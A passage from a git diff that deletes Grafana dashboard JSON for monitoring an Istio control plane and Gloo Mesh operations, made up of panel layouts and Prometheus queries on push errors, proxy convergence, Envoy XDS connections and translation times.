"Internal Errors", - "range": true, - "refId": "H" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_total_xds_rejects{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Config Rejection Rate", - "range": true, - "refId": "E" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "expr": "sum(rate(pilot_xds_push_context_errors{app=\"istiod\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Push Context Errors", - "refId": "K" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_xds_write_timeout{app=\"istiod\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Push Timeouts", - "range": true, - "refId": "G" - } - ], - "title": "Pilot Errors", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the total time it takes to push a config update to a proxy", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 16, - "y": 15 - }, - "id": 624, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.5, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p50 ", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.9, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p90", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.99, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p99", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.999, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p99.9", - "range": true, - "refId": "D" - } - ], - "title": "Proxy Push Time", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 23 - }, - "id": 45, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_inbound_listener{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Inbound Listeners", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_http_over_current_tcp{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (http over current tcp)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_tcp_over_current_tcp{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (tcp over current tcp)", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_tcp_over_current_http{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (tcp over current http)", - "range": true, - "refId": "D" - } - ], - "title": "Conflicts", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 23 - }, - "id": 47, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "avg(pilot_virt_services{app=\"istiod\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Virtual Services", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "avg(pilot_services{app=\"istiod\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Services", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds{app=\"istiod\", cluster=~\"$cluster\"}) by (pod)", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Connected Endpoints {{pod}}", - "range": true, - "refId": "E" - } - ], - "title": "ADS Monitoring", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 31 - }, - "id": 64, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Envoy Information", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows details about Envoy proxies in the mesh", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "ops" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 0, - "y": 32 - }, - "id": 40, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(envoy_cluster_upstream_cx_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Connections", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(envoy_cluster_upstream_cx_connect_fail{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Connection Failures", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(increase(envoy_server_hot_restart_epoch{cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Envoy Restarts", - "range": true, - "refId": "B" - } - ], - "title": "Envoy Details", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 8, - "y": 32 - }, - "id": 41, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(envoy_cluster_upstream_cx_active{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "XDS Active Connections", - "range": true, - "refId": "C", - "step": 2 - } - ], - "title": "XDS Active Connections", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the size of XDS requests and responses", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "Bps" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 16, - "y": 32 - }, - "id": 42, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "max(rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Response Bytes Max", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "quantile(0.5, rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Response Bytes Average", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "max(rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "XDS Request Bytes Max", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "quantile(.5, rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\"xds-grpc\", cluster=\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "XDS Request Bytes Average", - "range": true, - "refId": "C" - } - ], - "title": "XDS Requests Size", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 40 - }, - "id": 626, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Webhooks", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 41 - }, - "id": 629, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(galley_validation_passed[1m]))", - "interval": "", - "legendFormat": "Validations (Success)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(galley_validation_failed[1m]))", - "interval": "", - "legendFormat": "Validation (Failure)", - "range": true, - "refId": "B" - } - ], - "title": "Configuration Validation", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 41 - }, - "id": 630, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(sidecar_injection_success_total{cluster=\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Injections (Success)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(sidecar_injection_failure_total{cluster=\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Injections (Failure)", - "range": true, - "refId": "B" - } - ], - "title": "Sidecar Injection", - "type": "timeseries" - } - ], - "refresh": "5s", - "schemaVersion": 37, - "style": "dark", - "tags": [ - "istio", - "gloo" - ], - "templating": { - "list": [ - { - "current": { - "selected": true, - "text": "prometheus-GM", - "value": "prometheus-GM" - }, - "hide": 0, - "includeAll": false, - "multi": false, - "name": "datasource", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - }, - { - "current": {}, - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "definition": "label_values(istio_agent_pilot_xds, cluster)", - "hide": 0, - "includeAll": false, - "label": "Cluster", - "multi": true, - "name": "cluster", - "options": [], - "query": { - "query": "label_values(istio_agent_pilot_xds, cluster)", - "refId": "StandardVariableQuery" - }, - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "sort": 0, - "type": "query" - } - ] - }, - "time": { - "from": "now-15m", - "to": "now" - }, - "timepicker": { - "refresh_intervals": [ - "5s", - "10s", - "30s", - "1m", - "5m", - "15m", - "30m", - "1h", - "2h", - "1d" - ], - "time_options": [ - "5m", - "15m", - "1h", - "6h", - "12h", - "24h", - "2d", - "7d", - "30d" - ] - }, - "timezone": "browser", - "title": "Istio Control Plane Dashboard", - "uid": "3--MLVZZk", - "version": 10, - "weekStart": "" -} \ No newline at end of file diff --git a/gloo-mesh/enterprise/2-4/default/data/steps/gloo-platform-observability/operational-dashboard.json b/gloo-mesh/enterprise/2-4/default/data/steps/gloo-platform-observability/operational-dashboard.json deleted file mode 100644 index e69cebed10..0000000000 --- a/gloo-mesh/enterprise/2-4/default/data/steps/gloo-platform-observability/operational-dashboard.json +++ /dev/null @@ -1,2974 +0,0 @@ -{ - "annotations": { - "list": [ - { - "builtIn": 1, - "datasource": { - "type": "datasource", - "uid": "grafana" - }, - "enable": true, - "hide": true, - "iconColor": "rgba(0, 211, 255, 1)", - "name": "Annotations & Alerts", - "target": { - "limit": 100, - "matchAny": false, - "tags": [], - "type": "dashboard" - }, - "type": "dashboard" - } - ] - }, - "editable": true, - "fiscalYearStartMonth": 0, - "graphTooltip": 1, - "id": 28, - "links": [], - "liveNow": false, - "panels": [ - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 0 - }, - "id": 43, - "panels": [ - { - "cards": {}, - "color": { - "cardColor": "#b4ff00", - "colorScale": "sqrt", - "colorScheme": "interpolateCool", - "exponent": 0.5, - "mode": "spectrum" - }, - "dataFormat": "tsbuckets", - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "custom": { - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "scaleDistribution": { - "type": "linear" - } - } - }, - "overrides": [] - }, - "gridPos": { - "h": 9, - "w": 6, - "x": 0, - "y": 1 - }, - "heatmap": {}, - "hideZeroBuckets": false, - "highlightCards": true, - "id": 47, - "legend": { - "show": false - }, - "maxDataPoints": 25, - "options": { - "calculate": false, - "calculation": {}, - "cellGap": 2, - "cellValues": {}, - "color": { - "exponent": 0.5, - "fill": "#b4ff00", - "mode": "scheme", - "reverse": false, - "scale": "exponential", - "scheme": "Cool", - "steps": 128 - }, - "exemplars": { - "color": "rgba(255,0,255,0.7)" - }, - "filterValues": { - "le": 1e-9 - }, - "legend": { - "show": false - }, - "rowsFrame": { - "layout": "auto" - }, - "showValue": "never", - "tooltip": { - "show": true, - "yHistogram": false - }, - "yAxis": { - "axisPlacement": "left", - "reverse": false, - "unit": "short" - } - }, - "pluginVersion": "9.3.1", - "reverseYBuckets": false, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le)", - "format": "heatmap", - "hide": false, - "interval": "", - "legendFormat": "{{le}}", - "refId": "B" - } - ], - "title": "Total Translation Times Histogram", - "tooltip": { - "show": true, - "showHistogram": false - }, - "type": "heatmap", - "xAxis": { - "show": true - }, - "yAxis": { - "format": "short", - "logBase": 1, - "show": true - }, - "yBucketBound": "auto" - }, - { - "cards": {}, - "color": { - "cardColor": "#b4ff00", - "colorScale": "sqrt", - "colorScheme": "interpolateCool", - "exponent": 0.5, - "mode": "spectrum" - }, - "dataFormat": "tsbuckets", - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "custom": { - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "scaleDistribution": { - "type": "linear" - } - } - }, - "overrides": [] - }, - "gridPos": { - "h": 9, - "w": 6, - "x": 6, - "y": 1 - }, - "heatmap": {}, - "hideZeroBuckets": false, - "highlightCards": true, - "id": 12, - "legend": { - "show": false - }, - "maxDataPoints": 25, - "options": { - "calculate": false, - "calculation": {}, - "cellGap": 2, - "cellValues": {}, - "color": { - "exponent": 0.5, - "fill": "#b4ff00", - "mode": "scheme", - "reverse": false, - "scale": "exponential", - "scheme": "Cool", - "steps": 128 - }, - "exemplars": { - "color": "rgba(255,0,255,0.7)" - }, - "filterValues": { - "le": 1e-9 - }, - "legend": { - "show": false - }, - "rowsFrame": { - "layout": "auto" - }, - "showValue": "never", - "tooltip": { - "show": true, - "yHistogram": false - }, - "yAxis": { - "axisPlacement": "left", - "reverse": false, - "unit": "short" - } - }, - "pluginVersion": "9.3.1", - "reverseYBuckets": false, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(gloo_mesh_reconciler_time_sec_bucket[1m])) by (le)", - "hide": false, - "interval": "", - "legendFormat": "{{le}}", - "refId": "B" - } - ], - "title": "Total Recon Times Histogram", - "tooltip": { - "show": true, - "showHistogram": false - }, - "type": "heatmap", - "xAxis": { - "show": true - }, - "yAxis": { - "format": "short", - "logBase": 1, - "show": true - }, - "yBucketBound": "auto" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": false, - "inspect": false - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Value" - }, - "properties": [ - { - "id": "custom.width", - "value": 66 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "workspace" - }, - "properties": [ - { - "id": "custom.width", - "value": 209 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "namespace" - }, - "properties": [ - { - "id": "custom.width", - "value": 173 - } - ] - } - ] - }, - "gridPos": { - "h": 5, - "w": 12, - "x": 12, - "y": 1 - }, - "id": 31, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": true, - "displayName": "Value" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(translation_warning) by (pod,namespace,workspace,gvk)", - "format": "table", - "hide": false, - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Translation Warnings", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true - }, - "indexByName": { - "Time": 0, - "Value": 5, - "gvk": 4, - "namespace": 3, - "pod": 1, - "workspace": 2 - }, - "renameByName": {} - } - } - ], - "type": "table" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": false, - "inspect": false - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Value" - }, - "properties": [ - { - "id": "custom.width", - "value": 66 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "workspace" - }, - "properties": [ - { - "id": "custom.width", - "value": 209 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "namespace" - }, - "properties": [ - { - "id": "custom.width", - "value": 173 - } - ] - } - ] - }, - "gridPos": { - "h": 5, - "w": 12, - "x": 12, - "y": 6 - }, - "id": 45, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": true, - "displayName": "Value" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(translation_error) by (pod,namespace,workspace,gvk)", - "format": "table", - "hide": false, - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Translation Errors", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true - }, - "indexByName": { - "Time": 0, - "Value": 5, - "gvk": 4, - "namespace": 3, - "pod": 1, - "workspace": 2 - }, - "renameByName": {} - } - } - ], - "type": "table" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 0, - "y": 10 - }, - "id": 44, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.99, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P99", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.90, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P90", - "refId": "A" - }, - { - "datasource": { - 